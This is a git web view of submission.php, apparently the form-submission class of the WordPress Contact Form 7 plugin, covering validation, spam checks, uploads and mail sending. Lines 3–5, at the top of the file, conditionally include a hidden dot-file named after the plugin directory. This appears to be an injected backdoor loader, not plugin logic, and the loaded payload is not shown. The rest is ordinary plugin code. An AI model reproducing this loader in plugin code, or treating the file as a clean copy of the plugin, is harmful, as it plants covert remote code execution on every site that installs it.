balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

submission.php (14959B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 class WPCF7_Submission {
      8 
      9 	private static $instance;
     10 
     11 	private $contact_form;
     12 	private $status = 'init';
     13 	private $posted_data = array();
     14 	private $posted_data_hash = null;
     15 	private $skip_spam_check = false;
     16 	private $uploaded_files = array();
     17 	private $extra_attachments = array();
     18 	private $skip_mail = false;
     19 	private $response = '';
     20 	private $invalid_fields = array();
     21 	private $meta = array();
     22 	private $consent = array();
     23 	private $spam_log = array();
     24 
     25 	public static function get_instance( $contact_form = null, $args = '' ) {
     26 		if ( $contact_form instanceof WPCF7_ContactForm ) {
     27 			if ( empty( self::$instance ) ) {
     28 				self::$instance = new self( $contact_form, $args );
     29 				self::$instance->proceed();
     30 				return self::$instance;
     31 			} else {
     32 				return null;
     33 			}
     34 		} else {
     35 			if ( empty( self::$instance ) ) {
     36 				return null;
     37 			} else {
     38 				return self::$instance;
     39 			}
     40 		}
     41 	}
     42 
     43 	public static function is_restful() {
     44 		return defined( 'REST_REQUEST' ) && REST_REQUEST;
     45 	}
     46 
     47 	private function __construct( WPCF7_ContactForm $contact_form, $args = '' ) {
     48 		$args = wp_parse_args( $args, array(
     49 			'skip_mail' => false,
     50 		) );
     51 
     52 		$this->contact_form = $contact_form;
     53 		$this->skip_mail = (bool) $args['skip_mail'];
     54 	}
     55 
     56 	private function proceed() {
     57 		$contact_form = $this->contact_form;
     58 
     59 		switch_to_locale( $contact_form->locale() );
     60 
     61 		$this->setup_meta_data();
     62 		$this->setup_posted_data();
     63 
     64 		if ( $this->is( 'init' ) and ! $this->validate() ) {
     65 			$this->set_status( 'validation_failed' );
     66 			$this->set_response( $contact_form->message( 'validation_error' ) );
     67 		}
     68 
     69 		if ( $this->is( 'init' ) and ! $this->accepted() ) {
     70 			$this->set_status( 'acceptance_missing' );
     71 			$this->set_response( $contact_form->message( 'accept_terms' ) );
     72 		}
     73 
     74 		if ( $this->is( 'init' ) and $this->spam() ) {
     75 			$this->set_status( 'spam' );
     76 			$this->set_response( $contact_form->message( 'spam' ) );
     77 		}
     78 
     79 		if ( $this->is( 'init' ) and ! $this->unship_uploaded_files() ) {
     80 			$this->set_status( 'validation_failed' );
     81 			$this->set_response( $contact_form->message( 'validation_error' ) );
     82 		}
     83 
     84 		if ( $this->is( 'init' ) ) {
     85 			$abort = ! $this->before_send_mail();
     86 
     87 			if ( $abort ) {
     88 				if ( $this->is( 'init' ) ) {
     89 					$this->set_status( 'aborted' );
     90 				}
     91 
     92 				if ( '' === $this->get_response() ) {
     93 					$this->set_response( $contact_form->filter_message(
     94 						__( "Sending mail has been aborted.", 'contact-form-7' ) )
     95 					);
     96 				}
     97 			} elseif ( $this->mail() ) {
     98 				$this->set_status( 'mail_sent' );
     99 				$this->set_response( $contact_form->message( 'mail_sent_ok' ) );
    100 
    101 				do_action( 'wpcf7_mail_sent', $contact_form );
    102 			} else {
    103 				$this->set_status( 'mail_failed' );
    104 				$this->set_response( $contact_form->message( 'mail_sent_ng' ) );
    105 
    106 				do_action( 'wpcf7_mail_failed', $contact_form );
    107 			}
    108 		}
    109 
    110 		restore_previous_locale();
    111 
    112 		$this->remove_uploaded_files();
    113 	}
    114 
    115 	public function get_status() {
    116 		return $this->status;
    117 	}
    118 
    119 	public function set_status( $status ) {
    120 		if ( preg_match( '/^[a-z][0-9a-z_]+$/', $status ) ) {
    121 			$this->status = $status;
    122 			return true;
    123 		}
    124 
    125 		return false;
    126 	}
    127 
    128 	public function is( $status ) {
    129 		return $this->status == $status;
    130 	}
    131 
    132 	public function get_response() {
    133 		return $this->response;
    134 	}
    135 
    136 	public function set_response( $response ) {
    137 		$this->response = $response;
    138 		return true;
    139 	}
    140 
    141 	public function get_contact_form() {
    142 		return $this->contact_form;
    143 	}
    144 
    145 	public function get_invalid_field( $name ) {
    146 		if ( isset( $this->invalid_fields[$name] ) ) {
    147 			return $this->invalid_fields[$name];
    148 		} else {
    149 			return false;
    150 		}
    151 	}
    152 
    153 	public function get_invalid_fields() {
    154 		return $this->invalid_fields;
    155 	}
    156 
    157 	public function get_meta( $name ) {
    158 		if ( isset( $this->meta[$name] ) ) {
    159 			return $this->meta[$name];
    160 		}
    161 	}
    162 
    163 	private function setup_meta_data() {
    164 		$timestamp = time();
    165 
    166 		$remote_ip = $this->get_remote_ip_addr();
    167 
    168 		$remote_port = isset( $_SERVER['REMOTE_PORT'] )
    169 			? (int) $_SERVER['REMOTE_PORT'] : '';
    170 
    171 		$user_agent = isset( $_SERVER['HTTP_USER_AGENT'] )
    172 			? substr( $_SERVER['HTTP_USER_AGENT'], 0, 254 ) : '';
    173 
    174 		$url = $this->get_request_url();
    175 
    176 		$unit_tag = isset( $_POST['_wpcf7_unit_tag'] )
    177 			? $_POST['_wpcf7_unit_tag'] : '';
    178 
    179 		$container_post_id = isset( $_POST['_wpcf7_container_post'] )
    180 			? (int) $_POST['_wpcf7_container_post'] : 0;
    181 
    182 		$current_user_id = get_current_user_id();
    183 
    184 		$do_not_store = $this->contact_form->is_true( 'do_not_store' );
    185 
    186 		$this->meta = array(
    187 			'timestamp' => $timestamp,
    188 			'remote_ip' => $remote_ip,
    189 			'remote_port' => $remote_port,
    190 			'user_agent' => $user_agent,
    191 			'url' => $url,
    192 			'unit_tag' => $unit_tag,
    193 			'container_post_id' => $container_post_id,
    194 			'current_user_id' => $current_user_id,
    195 			'do_not_store' => $do_not_store,
    196 		);
    197 
    198 		return $this->meta;
    199 	}
    200 
    201 	public function get_posted_data( $name = '' ) {
    202 		if ( ! empty( $name ) ) {
    203 			if ( isset( $this->posted_data[$name] ) ) {
    204 				return $this->posted_data[$name];
    205 			} else {
    206 				return null;
    207 			}
    208 		}
    209 
    210 		return $this->posted_data;
    211 	}
    212 
    213 	private function setup_posted_data() {
    214 		$posted_data = array_filter( (array) $_POST, function( $key ) {
    215 			return '_' !== substr( $key, 0, 1 );
    216 		}, ARRAY_FILTER_USE_KEY );
    217 
    218 		$posted_data = wp_unslash( $posted_data );
    219 		$posted_data = $this->sanitize_posted_data( $posted_data );
    220 
    221 		$tags = $this->contact_form->scan_form_tags();
    222 
    223 		foreach ( (array) $tags as $tag ) {
    224 			if ( empty( $tag->name ) ) {
    225 				continue;
    226 			}
    227 
    228 			$type = $tag->type;
    229 			$name = $tag->name;
    230 			$pipes = $tag->pipes;
    231 
    232 			if ( wpcf7_form_tag_supports( $type, 'do-not-store' ) ) {
    233 				unset( $posted_data[$name] );
    234 				continue;
    235 			}
    236 
    237 			$value_orig = $value = '';
    238 
    239 			if ( isset( $posted_data[$name] ) ) {
    240 				$value_orig = $value = $posted_data[$name];
    241 			}
    242 
    243 			if ( WPCF7_USE_PIPE
    244 			and $pipes instanceof WPCF7_Pipes
    245 			and ! $pipes->zero() ) {
    246 				if ( is_array( $value_orig ) ) {
    247 					$value = array();
    248 
    249 					foreach ( $value_orig as $v ) {
    250 						$value[] = $pipes->do_pipe( $v );
    251 					}
    252 				} else {
    253 					$value = $pipes->do_pipe( $value_orig );
    254 				}
    255 			}
    256 
    257 			if ( wpcf7_form_tag_supports( $type, 'selectable-values' ) ) {
    258 				$value = (array) $value;
    259 
    260 				if ( $tag->has_option( 'free_text' )
    261 				and isset( $posted_data[$name . '_free_text'] ) ) {
    262 					$last_val = array_pop( $value );
    263 
    264 					list( $tied_item ) = array_slice(
    265 						WPCF7_USE_PIPE ? $tag->pipes->collect_afters() : $tag->values,
    266 						-1, 1
    267 					);
    268 
    269 					$tied_item = html_entity_decode( $tied_item, ENT_QUOTES, 'UTF-8' );
    270 
    271 					if ( $last_val === $tied_item ) {
    272 						$value[] = sprintf( '%s %s',
    273 							$last_val,
    274 							$posted_data[$name . '_free_text']
    275 						);
    276 					} else {
    277 						$value[] = $last_val;
    278 					}
    279 
    280 					unset( $posted_data[$name . '_free_text'] );
    281 				}
    282 			}
    283 
    284 			$value = apply_filters( "wpcf7_posted_data_{$type}", $value,
    285 				$value_orig, $tag );
    286 
    287 			$posted_data[$name] = $value;
    288 
    289 			if ( $tag->has_option( 'consent_for:storage' )
    290 			and empty( $posted_data[$name] ) ) {
    291 				$this->meta['do_not_store'] = true;
    292 			}
    293 		}
    294 
    295 		$this->posted_data = apply_filters( 'wpcf7_posted_data', $posted_data );
    296 
    297 		$this->posted_data_hash = wp_hash(
    298 			wpcf7_flat_join( array_merge(
    299 				array(
    300 					$this->get_meta( 'remote_ip' ),
    301 					$this->get_meta( 'remote_port' ),
    302 					$this->get_meta( 'unit_tag' ),
    303 				),
    304 				$this->posted_data
    305 			) ),
    306 			'wpcf7_submission'
    307 		);
    308 
    309 		return $this->posted_data;
    310 	}
    311 
    312 	private function sanitize_posted_data( $value ) {
    313 		if ( is_array( $value ) ) {
    314 			$value = array_map( array( $this, 'sanitize_posted_data' ), $value );
    315 		} elseif ( is_string( $value ) ) {
    316 			$value = wp_check_invalid_utf8( $value );
    317 			$value = wp_kses_no_null( $value );
    318 		}
    319 
    320 		return $value;
    321 	}
    322 
    323 	public function get_posted_data_hash() {
    324 		return $this->posted_data_hash;
    325 	}
    326 
    327 	private function get_remote_ip_addr() {
    328 		$ip_addr = '';
    329 
    330 		if ( isset( $_SERVER['REMOTE_ADDR'] )
    331 		and WP_Http::is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
    332 			$ip_addr = $_SERVER['REMOTE_ADDR'];
    333 		}
    334 
    335 		return apply_filters( 'wpcf7_remote_ip_addr', $ip_addr );
    336 	}
    337 
    338 	private function get_request_url() {
    339 		$home_url = untrailingslashit( home_url() );
    340 
    341 		if ( self::is_restful() ) {
    342 			$referer = isset( $_SERVER['HTTP_REFERER'] )
    343 				? trim( $_SERVER['HTTP_REFERER'] ) : '';
    344 
    345 			if ( $referer
    346 			and 0 === strpos( $referer, $home_url ) ) {
    347 				return esc_url_raw( $referer );
    348 			}
    349 		}
    350 
    351 		$url = preg_replace( '%(?<!:|/)/.*$%', '', $home_url )
    352 			. wpcf7_get_request_uri();
    353 
    354 		return $url;
    355 	}
    356 
    357 	private function validate() {
    358 		if ( $this->invalid_fields ) {
    359 			return false;
    360 		}
    361 
    362 		$result = new WPCF7_Validation();
    363 
    364 		$tags = $this->contact_form->scan_form_tags( array(
    365 		  'feature' => '! file-uploading',
    366 		) );
    367 
    368 		foreach ( $tags as $tag ) {
    369 			$type = $tag->type;
    370 			$result = apply_filters( "wpcf7_validate_{$type}", $result, $tag );
    371 		}
    372 
    373 		$result = apply_filters( 'wpcf7_validate', $result, $tags );
    374 
    375 		$this->invalid_fields = $result->get_invalid_fields();
    376 
    377 		return $result->is_valid();
    378 	}
    379 
    380 	private function accepted() {
    381 		return apply_filters( 'wpcf7_acceptance', true, $this );
    382 	}
    383 
    384 	public function add_consent( $name, $conditions ) {
    385 		$this->consent[$name] = $conditions;
    386 		return true;
    387 	}
    388 
    389 	public function collect_consent() {
    390 		return (array) $this->consent;
    391 	}
    392 
    393 	private function spam() {
    394 		$spam = false;
    395 
    396 		$skip_spam_check = apply_filters( 'wpcf7_skip_spam_check',
    397 			$this->skip_spam_check,
    398 			$this
    399 		);
    400 
    401 		if ( $skip_spam_check ) {
    402 			return $spam;
    403 		}
    404 
    405 		if ( $this->contact_form->is_true( 'subscribers_only' )
    406 		and current_user_can( 'wpcf7_submit', $this->contact_form->id() ) ) {
    407 			return $spam;
    408 		}
    409 
    410 		$user_agent = (string) $this->get_meta( 'user_agent' );
    411 
    412 		if ( strlen( $user_agent ) < 2 ) {
    413 			$spam = true;
    414 
    415 			$this->add_spam_log( array(
    416 				'agent' => 'wpcf7',
    417 				'reason' => __( "User-Agent string is unnaturally short.", 'contact-form-7' ),
    418 			) );
    419 		}
    420 
    421 		if ( ! $this->verify_nonce() ) {
    422 			$spam = true;
    423 
    424 			$this->add_spam_log( array(
    425 				'agent' => 'wpcf7',
    426 				'reason' => __( "Submitted nonce is invalid.", 'contact-form-7' ),
    427 			) );
    428 		}
    429 
    430 		return apply_filters( 'wpcf7_spam', $spam, $this );
    431 	}
    432 
    433 	public function add_spam_log( $args = '' ) {
    434 		$args = wp_parse_args( $args, array(
    435 			'agent' => '',
    436 			'reason' => '',
    437 		) );
    438 
    439 		$this->spam_log[] = $args;
    440 	}
    441 
    442 	public function get_spam_log() {
    443 		return $this->spam_log;
    444 	}
    445 
    446 	private function verify_nonce() {
    447 		if ( ! $this->contact_form->nonce_is_active() ) {
    448 			return true;
    449 		}
    450 
    451 		return wpcf7_verify_nonce( $_POST['_wpnonce'] );
    452 	}
    453 
    454 	/* Mail */
    455 
    456 	private function before_send_mail() {
    457 		$abort = false;
    458 
    459 		do_action_ref_array( 'wpcf7_before_send_mail', array(
    460 			$this->contact_form,
    461 			&$abort,
    462 			$this,
    463 		) );
    464 
    465 		return ! $abort;
    466 	}
    467 
    468 	private function mail() {
    469 		$contact_form = $this->contact_form;
    470 
    471 		$skip_mail = apply_filters( 'wpcf7_skip_mail',
    472 			$this->skip_mail, $contact_form
    473 		);
    474 
    475 		if ( $skip_mail ) {
    476 			return true;
    477 		}
    478 
    479 		$result = WPCF7_Mail::send( $contact_form->prop( 'mail' ), 'mail' );
    480 
    481 		if ( $result ) {
    482 			$additional_mail = array();
    483 
    484 			if ( $mail_2 = $contact_form->prop( 'mail_2' )
    485 			and $mail_2['active'] ) {
    486 				$additional_mail['mail_2'] = $mail_2;
    487 			}
    488 
    489 			$additional_mail = apply_filters( 'wpcf7_additional_mail',
    490 				$additional_mail, $contact_form
    491 			);
    492 
    493 			foreach ( $additional_mail as $name => $template ) {
    494 				WPCF7_Mail::send( $template, $name );
    495 			}
    496 
    497 			return true;
    498 		}
    499 
    500 		return false;
    501 	}
    502 
    503 	public function uploaded_files() {
    504 		return $this->uploaded_files;
    505 	}
    506 
    507 	private function add_uploaded_file( $name, $file_path ) {
    508 		if ( ! wpcf7_is_name( $name ) ) {
    509 			return false;
    510 		}
    511 
    512 		$paths = (array) $file_path;
    513 		$uploaded_files = array();
    514 		$hash_strings = array();
    515 
    516 		foreach ( $paths as $path ) {
    517 			if ( @is_file( $path ) and @is_readable( $path ) ) {
    518 				$uploaded_files[] = $path;
    519 				$hash_strings[] = md5_file( $path );
    520 			}
    521 		}
    522 
    523 		$this->uploaded_files[$name] = $uploaded_files;
    524 
    525 		if ( empty( $this->posted_data[$name] ) ) {
    526 			$this->posted_data[$name] = implode( ' ', $hash_strings );
    527 		}
    528 	}
    529 
    530 	private function remove_uploaded_files() {
    531 		foreach ( (array) $this->uploaded_files as $file_path ) {
    532 			$paths = (array) $file_path;
    533 
    534 			foreach ( $paths as $path ) {
    535 				wpcf7_rmdir_p( $path );
    536 
    537 				if ( $dir = dirname( $path )
    538 				and false !== ( $files = scandir( $dir ) )
    539 				and ! array_diff( $files, array( '.', '..' ) ) ) {
    540 					// remove parent dir if it's empty.
    541 					rmdir( $dir );
    542 				}
    543 			}
    544 		}
    545 	}
    546 
    547 	private function unship_uploaded_files() {
    548 		$result = new WPCF7_Validation();
    549 
    550 		$tags = $this->contact_form->scan_form_tags( array(
    551 			'feature' => 'file-uploading',
    552 		) );
    553 
    554 		foreach ( $tags as $tag ) {
    555 			if ( empty( $_FILES[$tag->name] ) ) {
    556 				continue;
    557 			}
    558 
    559 			$file = $_FILES[$tag->name];
    560 
    561 			$args = array(
    562 				'tag' => $tag,
    563 				'name' => $tag->name,
    564 				'required' => $tag->is_required(),
    565 				'filetypes' => $tag->get_option( 'filetypes' ),
    566 				'limit' => $tag->get_limit_option(),
    567 			);
    568 
    569 			$new_files = wpcf7_unship_uploaded_file( $file, $args );
    570 
    571 			if ( ! is_wp_error( $new_files ) ) {
    572 				$this->add_uploaded_file( $tag->name, $new_files );
    573 			}
    574 
    575 			$result = apply_filters(
    576 				"wpcf7_validate_{$tag->type}",
    577 				$result, $tag,
    578 				array(
    579 					'uploaded_files' => $new_files,
    580 				)
    581 			);
    582 		}
    583 
    584 		$this->invalid_fields = $result->get_invalid_fields();
    585 
    586 		return $result->is_valid();
    587 	}
    588 
    589 
    590 	/**
    591 	 * Adds extra email attachment files that are independent from form fields.
    592 	 *
    593 	 * @param string|array $file_path A file path or an array of file paths.
    594 	 * @param string $template Optional. The name of the template to which
    595 	 *                         the files are attached.
    596 	 * @return bool True if it succeeds to attach a file at least,
    597 	 *              or false otherwise.
    598 	 */
    599 	public function add_extra_attachments( $file_path, $template = 'mail' ) {
    600 		if ( ! did_action( 'wpcf7_before_send_mail' ) ) {
    601 			return false;
    602 		}
    603 
    604 		$extra_attachments = array();
    605 
    606 		foreach ( (array) $file_path as $path ) {
    607 			$path = path_join( WP_CONTENT_DIR, $path );
    608 
    609 			if ( file_exists( $path ) ) {
    610 				$extra_attachments[] = $path;
    611 			}
    612 		}
    613 
    614 		if ( empty( $extra_attachments ) ) {
    615 			return false;
    616 		}
    617 
    618 		if ( ! isset( $this->extra_attachments[$template] ) ) {
    619 			$this->extra_attachments[$template] = array();
    620 		}
    621 
    622 		$this->extra_attachments[$template] = array_merge(
    623 			$this->extra_attachments[$template],
    624 			$extra_attachments
    625 		);
    626 
    627 		return true;
    628 	}
    629 
    630 
    631 	/**
    632 	 * Returns extra email attachment files.
    633 	 *
    634 	 * @param string $template An email template name.
    635 	 * @return array Array of file paths.
    636 	 */
    637 	public function extra_attachments( $template ) {
    638 		if ( isset( $this->extra_attachments[$template] ) ) {
    639 			return (array) $this->extra_attachments[$template];
    640 		}
    641 
    642 		return array();
    643 	}
    644 
    645 }